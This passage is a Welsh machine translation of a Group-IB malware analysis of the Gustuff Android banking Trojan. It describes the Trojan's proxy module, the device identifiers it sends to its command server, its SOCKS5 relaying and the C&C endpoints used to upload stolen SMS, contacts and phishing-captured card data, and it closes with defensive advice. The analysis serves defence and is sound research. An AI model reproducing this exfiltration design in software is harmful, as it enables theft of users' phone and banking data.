                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Yna mae'n ei drosi i gynrychioliad llinynnol a'i logio.

Mae'r modiwl Proxy yn cael ei lansio ar ôl derbyn y gorchymyn cyfatebol. Pan dderbynnir gorchymyn i lansio'r modiwl Dirprwy, mae'r cais yn cychwyn gwasanaeth o'r enw Prif Wasanaeth, sy'n gyfrifol am reoli gweithrediad y modiwl Proxy - ei gychwyn a'i atal.

Camau cychwyn y gwasanaeth:

1. Yn cychwyn amserydd sy'n rhedeg unwaith y funud ac yn gwirio gweithgaredd y modiwl Dirprwy. Os nad yw'r modiwl yn weithredol, mae'n ei gychwyn.
Hefyd pan fydd y digwyddiad yn cael ei sbarduno android.net.conn.CONNECTIVITY_CHANGE Mae'r modiwl dirprwy yn cael ei lansio.

2. Mae'r cais yn creu clo deffro gyda'r paramedr PARTIAL_WAKE_LOCK ac yn ei ddal. Mae hyn yn atal CPU y ddyfais rhag mynd i'r modd cysgu.

3. Yn lansio dosbarth prosesu gorchymyn y modiwl Proxy, gan logio'r llinell yn gyntaf mainLog ("gweinydd cychwyn") и

Gweinydd:: cychwyn() gwesteiwr[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

lle dirprwy_cnc, command_port a proxy_port - paramedrau a gafwyd o gyfluniad y gweinydd dirprwy.

Gelwir y dosbarth prosesu gorchymyn Cysylltiad Gorchymyn. Yn syth ar ôl cychwyn, yn cyflawni'r camau gweithredu canlynol:

4. Yn cysylltu â ProxyConfigClass.host: ProxyConfigClass.commandPort ac yn anfon data am y ddyfais heintiedig yno mewn fformat JSON:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Ble:

  • id – dynodwr, yn ceisio cael gwerth gyda'r maes “id” o'r ffeil Dewis a Rennir o'r enw “x”. Os na ellid cael y gwerth hwn, mae'n cynhyrchu un newydd. Felly, mae gan y modiwl Proxy ei ddynodwr ei hun, a gynhyrchir yn yr un modd â'r ID Bot.
  • imei - IMEI y ddyfais. Os digwyddodd gwall yn ystod y broses o gael y gwerth, bydd neges destun gwall yn cael ei hysgrifennu yn lle'r maes hwn.
  • imsi — Tanysgrifiwr Symudol Rhyngwladol Hunaniaeth y ddyfais. Os digwyddodd gwall yn ystod y broses o gael y gwerth, bydd neges destun gwall yn cael ei hysgrifennu yn lle'r maes hwn.
  • model — Yr enw defnyddiwr terfynol-gweladwy ar gyfer y cynnyrch terfynol.
  • gwneuthurwr - Gwneuthurwr y cynnyrch / caledwedd (Build.MANUFACTURER).
  • androidVersion - llinyn yn y fformat "<%release_version%> (<%os_version%>), <%sdk_version%>"
  • gwlad - lleoliad presennol y ddyfais.
  • llinyn gwag yw partnerId.
  • PackName - enw pecyn.
  • Math o rwydwaith - math o gysylltiad rhwydwaith cyfredol (enghraifft: “WIFI”, “SYMUNOL”). Mewn achos o wall, yn dychwelyd null.
  • hasGsmSupport – gwir – os yw'r ffôn yn cefnogi GSM, fel arall yn ffug.
  • simReady – cyflwr cerdyn SIM.
  • simCountry - cod gwlad ISO (yn seiliedig ar ddarparwr cerdyn SIM).
  • networkOperator — enw gweithredwr. Os digwyddodd gwall yn ystod y broses o gael y gwerth, bydd neges destun gwall yn cael ei hysgrifennu yn lle'r maes hwn.
  • simOperator - Enw'r Darparwr Gwasanaeth (SPN). Os digwyddodd gwall yn ystod y broses o gael y gwerth, bydd neges destun gwall yn cael ei hysgrifennu yn lle'r maes hwn.
  • fersiwn - mae'r maes hwn yn cael ei storio yn y dosbarth ffurfweddu; ar gyfer y fersiynau a brofwyd o'r bot roedd yn hafal i "1.6".

5. Yn newid i'r modd aros am orchmynion o'r gweinydd. Daw gorchmynion gan y gweinydd yn y fformat:

  • 0 gwrthbwyso - gorchymyn
  • 1 gwrthbwyso – sesiwnId
  • 2 gwrthbwyso - hyd
  • 4 gwrthbwyso - data

Pan fydd gorchymyn yn cyrraedd, mae'r cais yn cofnodi:
mainLog ("Pennawd { sessionId <%id%>], math[<%command%>], hyd[<%length%>] }")

Mae'r gorchmynion canlynol o'r gweinydd yn bosibl:

Enw Gorchymyn Dyddiad Disgrifiad
cysylltiadId 0 ID Cysylltiad Creu cysylltiad newydd
SLEEP 3 amser Oedwch y modiwl dirprwy
PING_PONG 4 - Anfon neges PONG

Mae neges PONG yn cynnwys 4 beit ac mae'n edrych fel hyn: 0x04000000.

Pan dderbynnir y gorchymyn connectionId (i greu cysylltiad newydd) Cysylltiad Gorchymyn yn creu enghraifft o ddosbarth Cysylltiad Proxy.

  • Mae dau ddosbarth yn cymryd rhan mewn dirprwy: Cysylltiad Proxy и diwedd. Wrth greu dosbarth Cysylltiad Proxy cysylltu â'r cyfeiriad ProxyConfigClass.host: ProxyConfigClass.proxyPort a phasio gwrthrych JSON:

 {
    "id":<%connectionId%>
}

Mewn ymateb, mae'r gweinydd yn anfon neges SOCKS5 sy'n cynnwys cyfeiriad y gweinydd pell y mae'n rhaid sefydlu'r cysylltiad ag ef. Mae rhyngweithio gyda'r gweinydd hwn yn digwydd trwy'r dosbarth diwedd. Gellir cynrychioli'r gosodiad cysylltiad yn sgematig fel a ganlyn:

Sut mae'r Trojan Android Gustuff yn sgimio'r hufen (fiat a crypto) o'ch cyfrifon

Rhyngweithiadau rhwydwaith

Er mwyn atal dadansoddiad traffig gan sniffers rhwydwaith, gellir diogelu'r rhyngweithio rhwng y gweinydd CNC a'r cymhwysiad gan ddefnyddio'r protocol SSL. Mae'r holl ddata a drosglwyddir o'r gweinydd ac i'r gweinydd yn cael ei gyflwyno mewn fformat JSON. Yn ystod y llawdriniaeth, mae'r cais yn cyflawni'r ceisiadau canlynol:

  • http://<%CnC%>/api/v1/set_state.php - canlyniad gweithredu'r gorchymyn.
  • http://<%CnC%>/api/v1/get.php - derbyn gorchymyn.
  • http://<%CnC%>/api/v1/load_sms.php - lawrlwytho negeseuon SMS o ddyfais heintiedig.
  • http://<%CnC%>/api/v1/load_ab.php — uwchlwytho rhestr o gysylltiadau o ddyfais heintiedig.
  • http://<%CnC%>/api/v1/aevents.php - gwneir y cais wrth ddiweddaru paramedrau sydd wedi'u lleoli yn y ffeil dewis.
  • http://<%CnC%>/api/v1/set_card.php — uwchlwytho data a gafwyd gan ddefnyddio ffenestr gwe-rwydo sy'n ffugio fel y Google Play Market.
  • http://<%CnC%>/api/v1/logs.php – lanlwytho data log.
  • http://<%CnC%>/api/v1/records.php – uwchlwytho data a gafwyd trwy ffenestri gwe-rwydo.
  • http://<%CnC%>/api/v1/set_error.php – hysbysiad o gamgymeriad sydd wedi digwydd.

Argymhellion

Er mwyn amddiffyn eu cwsmeriaid rhag bygythiad Trojans symudol, rhaid i gwmnïau ddefnyddio atebion cynhwysfawr sy'n eu galluogi i fonitro ac atal gweithgaredd maleisus heb osod meddalwedd ychwanegol ar ddyfeisiau defnyddwyr.

I wneud hyn, mae angen cryfhau dulliau llofnod ar gyfer canfod Trojans symudol gyda thechnolegau ar gyfer dadansoddi ymddygiad y cleient a'r rhaglen ei hun. Dylai'r amddiffyniad hefyd gynnwys swyddogaeth adnabod dyfais gan ddefnyddio technoleg olion bysedd digidol, a fydd yn ei gwneud hi'n bosibl deall pan fydd cyfrif yn cael ei ddefnyddio o ddyfais annodweddiadol ac sydd eisoes wedi syrthio i ddwylo twyllwr.

Pwynt hanfodol bwysig yw argaeledd dadansoddiad traws-sianel, sy'n caniatáu i gwmnïau reoli risgiau sy'n codi nid yn unig ar y Rhyngrwyd, ond hefyd ar y sianel symudol, er enghraifft, mewn ceisiadau am fancio symudol, ar gyfer trafodion gyda cryptocurrencies ac unrhyw rai eraill lle gellir cyflawni trafodion ariannol.

Rheolau diogelwch i ddefnyddwyr:

  • peidiwch â gosod cymwysiadau ar gyfer dyfais symudol gydag Android OS o unrhyw ffynonellau heblaw Google Play, rhowch sylw arbennig i'r hawliau y mae'r cais yn gofyn amdanynt;
  • gosod diweddariadau Android OS yn rheolaidd;
  • rhoi sylw i estyniadau ffeiliau wedi'u llwytho i lawr;
  • peidiwch ag ymweld ag adnoddau amheus;
  • Peidiwch â chlicio ar ddolenni a dderbyniwyd mewn negeseuon SMS.

Yn serennu Semyon Rogacheva, arbenigwr iau mewn ymchwil malware yn Labordy Fforensig Cyfrifiadurol Group-IB.

Ffynhonnell: hab.com

Ychwanegu sylw